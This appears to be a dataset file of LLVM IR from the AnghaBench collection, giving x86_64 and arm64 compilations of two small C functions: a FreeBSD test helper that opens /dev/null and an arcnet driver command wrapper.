; ModuleID = 'AnghaBench/freebsd/tests/sys/kern/extr_unix_passfd_test.c_devnull.c' source_filename = "AnghaBench/freebsd/tests/sys/kern/extr_unix_passfd_test.c_devnull.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @.str = private unnamed_addr constant [10 x i8] c"/dev/null\00", align 1 @O_RDONLY = dso_local local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [16 x i8] c"open failed: %s\00", align 1 @errno = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @devnull], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @devnull(ptr nocapture noundef writeonly %0) #0 { %2 = load i32, ptr @O_RDONLY, align 4, !tbaa !5 %3 = tail call i32 @open(ptr noundef nonnull @.str, i32 noundef %2) #2 %4 = icmp ne i32 %3, -1 %5 = zext i1 %4 to i32 %6 = load i32, ptr @errno, align 4, !tbaa !5 %7 = tail call i32 @strerror(i32 noundef %6) #2 %8 = tail call i32 @ATF_REQUIRE_MSG(i32 noundef %5, ptr noundef nonnull @.str.1, i32 noundef %7) #2 store i32 %3, ptr %0, align 4, !tbaa !5 ret void } declare i32 @open(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @ATF_REQUIRE_MSG(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @strerror(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/freebsd/tests/sys/kern/extr_unix_passfd_test.c_devnull.c' source_filename = "AnghaBench/freebsd/tests/sys/kern/extr_unix_passfd_test.c_devnull.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [10 x i8] c"/dev/null\00", align 1 @O_RDONLY = common local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [16 x i8] c"open failed: %s\00", align 1 @errno = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @devnull], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @devnull(ptr nocapture noundef writeonly %0) #0 { %2 = load i32, ptr @O_RDONLY, align 4, !tbaa !6 %3 = tail call i32 @open(ptr noundef nonnull @.str, i32 noundef %2) #2 %4 = icmp ne i32 %3, -1 %5 = zext i1 %4 to i32 %6 = load i32, ptr @errno, align 4, !tbaa !6 %7 = tail call i32 @strerror(i32 noundef %6) #2 %8 = tail call i32 @ATF_REQUIRE_MSG(i32 noundef %5, ptr noundef nonnull @.str.1, i32 noundef %7) #2 store i32 %3, ptr %0, align 4, !tbaa !6 ret void } declare i32 @open(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @ATF_REQUIRE_MSG(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @strerror(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
freebsd_tests_sys_kern_extr_unix_passfd_test.c_devnull
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/net/arcnet/extr_com20020.c_com20020_command.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/net/arcnet/extr_com20020.c_com20020_command.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @com20020_command], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @com20020_command(ptr nocapture readnone %0, i32 noundef %1) #0 { %3 = tail call i32 @ACOMMAND(i32 noundef %1) #2 ret void } declare i32 @ACOMMAND(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/net/arcnet/extr_com20020.c_com20020_command.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/net/arcnet/extr_com20020.c_com20020_command.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @com20020_command], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @com20020_command(ptr nocapture readnone %0, i32 noundef %1) #0 { %3 = tail call i32 @ACOMMAND(i32 noundef %1) #2 ret void } declare i32 @ACOMMAND(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
fastsocket_kernel_drivers_net_arcnet_extr_com20020.c_com20020_command